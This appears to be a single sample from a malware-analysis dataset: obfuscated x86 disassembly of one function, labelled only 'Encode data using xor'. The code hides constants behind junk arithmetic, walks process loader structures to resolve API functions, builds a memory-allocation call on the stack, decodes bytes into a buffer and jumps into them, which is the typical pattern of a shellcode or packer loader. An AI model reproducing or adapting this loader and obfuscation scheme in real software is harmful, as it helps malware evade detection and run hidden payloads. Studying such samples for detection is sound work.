Function at 0x5285e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x29699bc2
add eax, 0xd696643e
xor eax, esi
mov ecx, 0
mov edx, 4
xor ecx, edx
sub esp, ecx
mov dword [esp], eax
push 0x3f54dff
mov eax, 0x3f54dff
pop esi
xor eax, esi
xor eax, edi
mov edx, 0x25a1585c
mov ecx, 0xda5ea7a0
xor edx, ecx
add esp, edx
mov dword [esp], eax
mov eax, 0x82d0fde
xor eax, 0xf7d2f022
add esp, eax
mov ecx, 0x1e1086c1
mov edi, 0x1e1086c1
xor edi, ecx
xor edi, esp
mov dword [edi], ebx
mov edx, 0x4400e75b
add edx, 0xafd01f9
mov ebx, 0xddab27e9
add edx, ebx
mov ecx, edx
mov esi, ecx
mov edi, 0xffffffff
xor esi, edi
and esi, 0x2ca91125
and edx, 0xd356eeda
or edx, esi
mov edi, dword fs:[edx]
mov eax, 0x49fe08e5
xor eax, 0x2325588b
push 0xa2dc7280
mov edx, 0x37f8dd3e
pop ebx
xor edx, ebx
xor edx, eax
sub edi, edx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], edi
pop esi
mov eax, 0x725ab329
add eax, 0x8da54cd8
sub esi, eax
mov edx, dword [esi + 1]
mov esi, 0x6f8f9ebb
add esi, 0xf65928f9
mov ecx, 0x8465e82
mov eax, 0x925166c2
xor eax, ecx
xor esi, eax
sub edx, esi
push edx
pop eax
xchg eax, esi
mov ebx, 0x281854cf
xor ebx, 0x281854c4
sub esi, ebx
mov eax, 1
sub esi, eax
mov edi, dword [esi + 0xc]
mov edx, 0x2c918085
add edx, 0x1cfa9e75
mov eax, 0x8081272
mov esi, 0x41840c84
xor eax, esi
xor eax, edx
add edi, eax
mov ecx, 0x2e8228f4
mov esi, 0xd17dd708
xor ecx, esi
add esp, ecx
push 0x44a4396c
mov eax, 0x44a4396c
pop ebx
xor eax, ebx
xor eax, esp
mov dword [eax], edi
mov ecx, dword [esp]
mov edx, 0
mov esi, 4
xor edx, esi
add esp, edx
mov ebx, 0x7a916c40
xor ebx, 0x7a916c44
sub esp, ebx
mov ebx, esp
xchg eax, ebx
mov esi, 0
xor esi, eax
mov dword [esi], ecx
sub eax, eax
add eax, ecx
push 0x3fc6279c
mov edi, 0x3fc62794
pop esi
xor edi, esi
add eax, edi
mov ebx, 0x59588655
add ebx, 0xa6a779ac
sub eax, ebx
mov edx, dword [eax - 7]
mov edi, edx
xchg edi, ebx
mov edi, ebx
xchg edi, esi
mov ebx, 0x1c9387a6
xor ebx, 0x1c938790
add esi, ebx
mov ecx, dword [esi - 0x36]
mov edx, 0x3975243b
mov eax, 0x103d15ff
xor eax, edx
mov ebx, 0xe3a15f2
add ebx, 0xc87db81e
xor eax, ebx
sub ecx, eax
xor ebx, ebx
add ebx, ecx
xchg esi, ebx
mov ebx, 0x17abdb6f
add ebx, 0xe85424c2
add esi, ebx
mov edx, dword [esi - 0x31]
and edx, 0xffff
mov ebx, 0x3d55dbb9
mov esi, 0x77e25f62
xor esi, ebx
mov edi, 0x69a3012a
add edi, 0xdfe32729
xor edi, esi
xor edx, edi
mov eax, 0x2d27a15f
add eax, 0xc476415
xor edx, eax
mov ebx, 0x3a5ea9e4
xor edx, ebx
mov esi, 0x28018020
mov eax, 0x940498
xor esi, eax
mov ebx, 0x15963f64
xor ebx, 0x3d03bbdc
xor ebx, esi
xor ebx, edx
or ebx, 0
jne 0x5289cd
push 0x16e23e0d
mov esi, 0x16e23e0c
pop ebx
xor esi, ebx
add ecx, esi
mov edx, 0
add ecx, edx
mov ebx, 3
add ecx, ebx
mov esi, 0
xor esi, ecx
push esi
pop edx
mov eax, 0x76697689
xor eax, 0x76697688
sub edx, eax
mov edi, dword [edx + 1]
sub edx, edx
add edx, edi
mov esi, 0x3cf77201
xor esi, 0x3cf77205
sub esp, esi
mov dword [esp], edx
mov eax, 0
xor eax, edi
xor esi, esi
add esi, eax
mov edx, 0x41121527
add edx, 0xbeedeb41
add esi, edx
dec esi
mov ecx, dword [esi - 0x67]
and ecx, 0xff
push 0x6c354cfc
mov ebx, 0x3b9d2ba
pop edx
xor ebx, edx
mov edx, 0x6f8c9e2d
xor ebx, edx
xor ecx, ebx
push 0x6e5c4f7e
mov edx, 0x14d97f17
pop esi
xor edx, esi
push edx
push 0x6cb0511
mov ebx, 0x7c4e3578
pop edx
xor ebx, edx
mov edi, dword [esp]
sub esp, 0xfffffffc
xor ebx, edi
xor ebx, ecx
add ebx, 0
je 0x5288dc
xor ecx, 0x20
xor edx, edx
add edx, ecx
or edx, edx
jne 0x5289cc
pop edx
mov eax, 0x57f0d527
xor eax, 0x57f0d527
mov edi, 0x1cbbe6e8
xor edi, 0x1cbbe6ee
xor eax, edi
add edx, eax
mov esi, 0x5be68f0e
mov edi, 0xa41970f2
xor edi, esi
add esp, edi
push esp
pop ebx
xchg ebx, eax
mov dword [eax], edx
xor esi, esi
add esi, edx
mov ebx, 0x4a9e12b3
add ebx, 0xb561ed10
sub esi, ebx
mov eax, dword [esi - 0x3d]
and eax, 0xff
mov edx, 0x374256b0
xor edx, 0x374256b0
xor edx, eax
mov esi, 0x50b8225b
mov ebx, 0xaf47dda4
xor esi, ebx
xor edx, esi
and edx, 0x4e
and eax, 0xffffffb1
or eax, edx
test eax, eax
je 0x528977
xor eax, 0x20
push eax
pop edi
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], edi
pop edx
sub edx, 0
jne 0x5289cc
pop edx
push 0x3ffc2b27
mov esi, 0x1e083a1c
pop ebx
xor esi, ebx
mov edi, esi
xor edi, 0xffffffff
and edi, 0xde0beec1
and esi, 0x21f4113e
or esi, edi
sub edx, esi
mov edi, dword [edx]
mov eax, 0x29199783
add eax, 0xf
push eax
mov eax, 0x2a11d696
mov edx, 0x33a4137
xor edx, eax
pop esi
xor edx, esi
xor edi, edx
cmp edi, 0
je 0x528a0d
jmp 0x5289cd
pop ebx
pop ecx
mov edi, ecx
mov edx, edi
xchg edx, esi
mov edi, 0xffffffe8
add esi, edi
mov edx, 3
sub esi, edx
mov edx, 0x5cd138f0
add edx, 0xa32ec711
sub esi, edx
mov eax, dword [esi + 0x1c]
xor edi, edi
add edi, eax
mov ebx, 0x21ed278a
add ebx, 0xde12d87a
sub esp, ebx
mov dword [esp], edi
jmp 0x528718
pop edi
mov eax, edi
mov ebx, eax
mov esi, ebx
mov ecx, esi
mov esi, 0x73444a75
xor esi, 0x8cbbb5da
sub ecx, esi
mov edx, dword [ecx - 0x51]
xor eax, eax
add eax, edx
xor ecx, ecx
add ecx, eax
mov eax, 0x8c00340
xor eax, 0xf73ffcb1
add ecx, eax
dec ecx
mov esi, dword [ecx + 0x10]
mov ebx, 0x3e80165
mov ecx, 0x8802101a
xor ebx, ecx
push ebx
mov ebx, 0x4107c912
mov edi, 0x35122785
xor edi, ebx
mov eax, dword [esp]
add esp, 4
xor edi, eax
sub esi, edi
mov edi, esi
mov edx, 0x2b08a74c
mov ecx, 0x2b08a745
xor ecx, edx
add edi, ecx
mov ebx, dword [edi - 9]
xor ecx, ecx
add ecx, ebx
xchg eax, ecx
mov ecx, 0x50981e18
mov edi, 0xaf67e1e4
xor edi, ecx
add esp, edi
mov dword [esp], eax
mov eax, 0x2271d2de
add eax, 0x3049105d
mov edx, 0x74205db0
mov esi, 0x269abe8b
xor esi, edx
xor esi, eax
xor esi, ebx
mov eax, 0x44235ebe
add eax, 0xc7ea4542
mov ebx, 0x53000300
mov ecx, 0xa0f258c4
xor ebx, ecx
xor eax, ebx
sub esi, eax
xor edi, edi
add edi, esi
mov eax, 1
sub edi, eax
mov ebx, dword [edi + 1]
mov ecx, dword [esp]
add ebx, ecx
mov eax, 0x113156ad
add eax, 0x538034b5
mov edx, 0xeedf3361
xor eax, edx
xor eax, 0x7591478b
sub ebx, eax
push 0x66740925
mov eax, 0x66740925
pop esi
xor eax, esi
xor eax, ebx
mov ecx, 0xa4f5c54
add ecx, 0xf5b0a354
sub eax, ecx
mov ebx, dword [eax - 0x58]
sub esi, esi
add esi, esp
mov eax, 0x532f6f01
mov edx, 0xacd090a7
xor edx, eax
sub esi, edx
mov eax, 0
mov ecx, 1
xor eax, ecx
sub esi, eax
mov edi, dword [esi - 0x59]
add ebx, edi
mov edi, 0x1296400
mov eax, 0x8421140
xor edi, eax
mov ecx, 0x96b7520
sub edi, ecx
add ebx, edi
push 0x85da1ff5
mov ecx, 0x2ef65b1e
pop edi
xor ecx, edi
push ecx
push 0x6ae549e2
mov esi, 0x42bbab34
pop ecx
xor esi, ecx
mov ecx, 0xd38b27bf
sub esi, ecx
pop eax
xor esi, eax
add esi, ebx
mov eax, esi
dec eax
mov esi, dword [eax + 1]
mov ecx, esp
sub esp, 4
mov dword [esp], ecx
mov edi, dword [esp]
sub esp, 0xfffffffc
push 0x62a4bea5
mov eax, 0x62a4bea4
pop ecx
xor eax, ecx
sub edi, eax
mov edx, dword [edi + 1]
add esi, edx
mov eax, 0x129ef64c
xor eax, 0x129ef648
sub esp, eax
mov ecx, esp
xchg eax, ecx
xor edi, edi
add edi, eax
mov dword [edi], esi
mov eax, 0x4e96d669
add eax, 0xc90a342a
add eax, 0x13b80531
add eax, 0x8622960
mov edi, 0x31320020
mov ecx, 0x2081800
xor edi, ecx
mov esi, 0x1588c2cc
add esi, 0xeaf85e34
xor edi, esi
xor edi, eax
add edi, ebx
mov edx, edi
mov ecx, edx
push ecx
pop eax
mov edx, 0x21b01186
mov ecx, 0xde4fee47
xor ecx, edx
add eax, ecx
mov edi, dword [eax + 0x3f]
mov ecx, dword [esp + 4]
add edi, ecx
mov esi, 0x379151d8
xor esi, 0x379151d8
xor esi, edi
mov eax, 0
xor eax, esi
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], eax
sub esi, esi
add esi, ebx
push 0xc568a2a5
mov edi, 0x3a975d5c
pop ecx
xor edi, ecx
add esi, edi
mov edi, 0x1cf44be7
xor edi, 0x1cf44be6
sub esi, edi
mov ebx, dword [esi + 8]
mov ecx, dword [esp + 8]
add ebx, ecx
mov eax, ebx
add esp, 0xfffffffc
mov dword [esp], eax
pop edi
push 0xd3602121
mov ecx, 0x2c9fdee6
pop eax
xor ecx, eax
add edi, ecx
dec edi
mov esi, dword [edi + 0x3a]
mov edi, dword [esp + 8]
add esi, edi
push 0x334d60f
mov edi, 0x4d1ddb3d
pop eax
xor edi, eax
push edi
push 0x38da6665
mov ecx, 0x76f36b52
pop eax
xor ecx, eax
pop edx
xor ecx, edx
add esi, ecx
mov ecx, esi
dec ecx
mov esi, dword [ecx + 1]
mov eax, 0xc10000
mov ecx, 0x36021004
xor eax, ecx
mov edi, 0x130d3a8
xor edi, 0x1209ca9
xor eax, edi
xor esi, eax
xor edi, edi
add edi, esi
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xffffffff
and edi, 0
or edi, ecx
and edi, 0x52923c6a
and esi, 0xad6dc395
or esi, edi
cmp esi, 0
je 0x528d62
push 0x49e9c885
mov edx, 0x537c81b7
pop ecx
xor edx, ecx
mov ecx, 0xe56ab6ce
xor edx, ecx
sub ebx, edx
xor edx, edx
add edx, esp
mov esi, 1
sub edx, esi
mov ecx, dword [edx + 1]
mov edx, 0x761d6c1b
add edx, 0x89e293e9
add esp, edx
mov eax, 0x20f79f17
mov edx, 0x11cb3cb0
xor edx, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0x313ca3a5
and edx, 0xcec35c5a
or edx, esi
add ecx, edx
xor eax, eax
add eax, ecx
mov edi, eax
mov esi, 4
sub esp, esi
xor eax, eax
add eax, esp
mov dword [eax], edi
jmp 0x528c5c
mov ecx, esp
mov ebx, ecx
mov ecx, 0xffffffdf
add ebx, ecx
mov eax, dword [ebx + 0x21]
push 0xf7835a73
mov ebx, 0x87ca58f
pop esi
xor ebx, esi
sub esp, ebx
xor esi, esi
add esi, eax
dec esi
mov eax, dword [esi + 1]
and eax, 0xffff
add eax, eax
mov esi, 0x5ad2fb76
xor esi, 0x6d5e6d1
mov edi, 0x5c071da7
sub esi, edi
xor esi, eax
add eax, esi
push esp
pop edx
mov ebx, 1
sub edx, ebx
mov edi, dword [edx + 1]
mov ecx, 0x14ddf0b0
mov edx, 0xeb220f4c
xor ecx, edx
sub esp, ecx
add edi, eax
mov ecx, edi
mov eax, 0xffffffeb
sub ecx, eax
mov esi, 0x5e
add ecx, esi
mov eax, 0xffffffff
add ecx, eax
mov edi, dword [ecx - 0x72]
pop ecx
add edi, ecx
mov esi, edi
xchg ebx, esi
mov eax, 0
xor eax, ebx
mov ebx, eax
xchg esi, ebx
mov ebx, esi
push ebx
mov edx, 0x65ecea1b
xor edx, 0xefb3331b
push edx
mov esi, 0x1cda0d52
xor esi, 0x5da37f33
sub esp, 4
mov dword [esp], esi
mov ebx, 0x32224004
mov edx, 0x40402948
xor ebx, edx
push ebx
mov edx, 0x1898dcf6
xor edx, 0x7cf9b3ba
push edx
xor ebx, ebx
add ebx, esp
push ebx
pop eax
mov edx, 0xfffffffc
add esp, edx
mov edx, esp
mov ebx, edx
mov dword [ebx], eax
push 0x8106eaff
mov edx, 0x7ef91503
pop eax
xor edx, eax
add esp, edx
mov esi, 0x68a456c4
add esi, 0x975ba93c
xor esi, esp
mov dword [esi], ecx
call edi
mov ecx, 0x656089eb
xor ecx, 0x372cbb8b
mov ebx, 0x25938c90
mov edx, 0x88204100
xor ebx, edx
xor ecx, ebx
sub esp, ecx
mov edx, 0x61c18a7c
mov esi, 0x9e3e7580
xor edx, esi
add esp, edx
mov ecx, esp
mov dword [ecx], eax
call fcn.00529323
push 0x4fcd7307
mov esi, 0x6f67cccd
pop edi
xor esi, edi
push esi
mov ecx, 0x8ab940
mov esi, 0x20200688
xor ecx, esi
mov edx, dword [esp]
add esp, 4
xor ecx, edx
add ebx, ecx
mov esi, 0x2c8eb14c
add esi, 0xd3714eb8
sub esp, esi
sub ecx, ecx
add ecx, esp
mov dword [ecx], ebx
mov edx, 0x8064300
mov edi, 0x90201c00
xor edx, edi
push edx
mov ebx, 0x636f6c24
add ebx, 0x48
push ebx
push 0x21a1fab
mov edx, 0x43767ede
pop ebx
xor edx, ebx
push edx
mov ebx, 0x54502046
mov ecx, 0x20224910
xor ebx, ecx
push ebx
mov ebx, 0x4080983a
add ebx, 0xc6
push ebx
push 0x49156543
mov ebx, 0x7b260926
pop ecx
xor ebx, ecx
push ebx
push 0xf6eb3b4
mov ecx, 0x611cd6ff
pop ebx
xor ecx, ebx
push ecx
mov ebx, dword [esp + 0x20]
mov esi, esp
mov edx, esi
mov ecx, edx
mov edx, 4
sub esp, edx
mov dword [esp], ecx
call ebx
mov esi, 0x67889ff4
xor esi, 0x67889ff7
add esp, esi
mov edx, 0
mov ecx, 9
xor edx, ecx
add esp, edx
mov esi, 0
xor esi, esp
xchg esi, ebx
push ebx
pop ecx
mov edi, 4
sub esp, edi
mov dword [esp], ecx
mov edi, eax
push edi
pop esi
mov ebx, esi
mov edi, ebx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], edi
mov esi, dword [esp + 0x20]
call esi
mov ecx, 0x218
mov ebx, 0x24342902
xor ecx, ebx
mov edi, 0x24342b0a
sub ecx, edi
add esp, ecx
push 0x74cb704f
mov ecx, 0x74cb700f
pop edx
xor ecx, edx
push ecx
mov ebx, 0x7c6520b4
xor ebx, 0x7c6530b4
push ebx
push 0x151281bc
mov edi, 0x15127f82
pop ebx
xor edi, ebx
push edi
mov edi, 0
mov edx, 0
xor edi, edx
push edi
call eax
pop ebx
mov ecx, eax
push ecx
pop edi
mov esi, 0
mov ecx, 0
xor esi, ecx
xor esi, edi
mov edi, esi
sub esp, 4
mov dword [esp], edi
pop edx
mov ecx, edx
mov edi, ecx
mov eax, edi
push eax
push 0x74b42bd0
mov edx, 0x74b42bd0
pop eax
xor edx, eax
xor edx, ebx
push 0x4161c46e
mov ecx, 0x4161c46a
pop edi
xor ecx, edi
sub esp, ecx
mov dword [esp], edx
push 0x5c71c9af
mov ecx, 0x5c71c9b8
pop edi
xor ecx, edi
add ebx, ecx
mov eax, 0x2f377a45
add eax, 0xd0c884d2
sub ebx, eax
mov eax, 0xd414
mov ecx, 0x2a20
xor eax, ecx
push eax
mov dl, byte [ebx]
mov byte [esi], dl
mov edi, 0x42440040
mov edx, 0x29a0e012
xor edi, edx
push edi
mov edi, 0x436905f
mov eax, 0x6fd2700c
xor eax, edi
mov ecx, dword [esp]
add esp, 4
xor eax, ecx
add ebx, eax
push 0x35125f0b
mov edi, 0x6d55a7ad
pop eax
xor edi, eax
push edi
mov edi, 0x4dfccb42
mov edx, 0x15bb33e5
xor edx, edi
mov ecx, dword [esp]
add esp, 4
xor edx, ecx
add esi, edx
mov ecx, dword [esp]
mov eax, 0x3d68a05b
add eax, 0xc2975fa1
sub esp, eax
mov edi, 0x3291453d
xor edi, 0xd95ad265
push edi
push 0x2dbd93e6
mov eax, 0x3989fb41
pop edi
xor eax, edi
pop edx
xor eax, edx
add ecx, eax
sub eax, eax
add eax, ecx
mov edx, 4
mov edi, 0
xor edx, edi
sub esp, edx
mov dword [esp], eax
mov edx, ecx
mov eax, edx
mov edx, eax
xchg edi, edx
sub edi, 0
jne 0x529051
pop eax
mov edx, 0x69c40858
add edx, 0xd8
push edx
mov edx, 0x4c680e9a
mov ebx, 0x338b888a
xor ebx, edx
mov ecx, 0x51753b9c
xor ecx, 0x47524a88
xor ecx, ebx
pop eax
xor ecx, eax
mov edx, esp
xchg eax, edx
add eax, 0xffffffff
mov ebx, dword [eax + 1]
mov eax, 0x19078500
mov edx, 0xe6f87afc
xor eax, edx
sub esp, eax
pop edx
mov edi, 0x2e75666
xor edi, 0x382a04ab
mov eax, 0xfe609ec4
xor edi, eax
xor edi, 0x3b52cdc4
sub edx, edi
mov esi, 0x71db39e0
xor esi, 0x71db39e0
xor esi, ecx
push 0xc0ed7580
mov edi, 0x3f128a7c
pop eax
xor edi, eax
add esp, edi
mov dword [esp], esi
mov edi, ebx
push edi
pop esi
mov edi, 0x744c40ef
xor edi, 0x8bb3bf13
add esp, edi
mov dword [esp], esi
push edx
pop edi
xchg edi, esi
push esi
pop eax
sub esp, 4
mov edi, esp
mov dword [edi], eax
sub ecx, ecx
mov cl, byte [edx]
add ebx, ecx
mov cl, byte [ebx]
pop edx
pop ebx
mov byte [edx], cl
mov edi, 0x552ffbf1
xor edi, 0x552ffbf0
sub edx, edi
mov ecx, dword [esp]
mov esi, 0x7354006d
add esi, 0x8cabff8f
sub esp, esi
mov eax, 0x7b9c1d69
add eax, 0x8463e298
sub ecx, eax
push ecx
pop edi
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], edi
mov edi, esp
add edi, 0x13
dec edi
mov esi, dword [edi - 0x12]
mov eax, 0xfffffffc
sub esp, eax
or esi, esi
jne 0x52915a
mov edi, 0x1921c7c2
mov esi, 0x64511a2c
xor esi, edi
mov edi, esi
xor edi, 0xffffffff
and edi, 0x7d70ddef
and esi, 0x828f2210
or esi, edi
add edx, esi
mov ecx, 0x6dcb4dd1
add ecx, 0x9234b22b
add esp, ecx
mov ebx, esp
mov eax, ebx
xchg edi, eax
mov dword [edi], edx
pop eax
call eax
mov edx, 0x3a7d4d31
mov ecx, 0x32717e39
xor ecx, edx
mov eax, 0x6aab6558
xor eax, 0x45d4459d
add eax, 0x3c91ed1
add eax, 0x89c10e
xor ecx, eax
xor eax, eax
add eax, esp
mov ecx, 0x6a
add eax, ecx
mov ecx, 0xffffffff
add eax, ecx
mov ebx, dword [eax - 0x69]
mov ecx, 0x7d1326c8
mov edx, 0x82ecd934
xor edx, ecx
sub esp, edx
mov ecx, 0x2341dc6f
mov edx, 0x7e511b0
xor edx, ecx
mov eax, 0x1670037b
sub edx, eax
mov ecx, 0x4179c337
mov eax, 0x4e7ee9fe
xor eax, ecx
xor edx, eax
mov ecx, 0x5952f2ff
xor edx, ecx
xor edx, 0x4011ade3
mov ecx, esp
xchg ecx, eax
mov ecx, 0xffffffad
add eax, ecx
add eax, 0xffffffff
mov edi, dword [eax + 0x54]
push 0x726f81ac
mov eax, 0x726f81a8
pop ecx
xor eax, ecx
add esp, eax
mov eax, 0x766cb8bf
add eax, 0x8c7c099a
mov ecx, 0x9147e280
sub eax, ecx
mov edx, 0x42aa5f31
mov ecx, 0xea24329b
xor ecx, edx
add eax, ecx
pop esi
lea esp, [esp + 4]
jmp dword [esp - 4]